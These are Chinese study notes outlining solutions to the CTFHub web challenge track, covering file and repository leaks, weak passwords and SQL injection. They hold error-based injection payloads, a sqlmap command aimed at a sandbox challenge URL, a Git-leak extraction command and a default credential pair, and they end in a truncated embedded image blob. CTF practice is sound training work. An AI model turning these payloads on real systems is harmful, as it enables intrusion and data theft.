【CTFHUB】Web技能树
Web
HTTP协议
请求方式
302跳转
cookie
基础认证
响应包源代码
信息泄露
目录遍历
phpinfo
备份文件下载
网站源码
bak文件
vim缓存
下载下来放到linux中
在文件前面加的点(.) .index.php.swp
然后运行 vi -r index.php
.DS_Store
记事本打开
Git泄露
Log
python git_extract.py http://challenge-8cff71d12c02de35.sandbox.ctfhub.com:10080/.git/
Stash
同上
Index
同上
SVN泄露
使用dvcs-ripper工具
HG泄露
使用dvcs-ripper工具
密码口令
弱口令
admin 123456
默认口令
百度搜索亿邮邮件网关默认口令
SQL注入
整数型注入
字符型注入
报错注入
extractvalue函数报错: 1 and ( extractvalue( 'anything',concat( '~', (select database()) ) ) );
updatexml函数报错: 1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)
只能显示32位:
substr(字符串,开始位置,长度)
布尔盲注
sqlmap
sqlmap -u "http://challenge-520521e9124c0be8.sandbox.ctfhub.com:10080/?id=1" --dbs -technique B
数据库 sqli 表 flag 字段 flag
时间盲注![](data:image/png;base64,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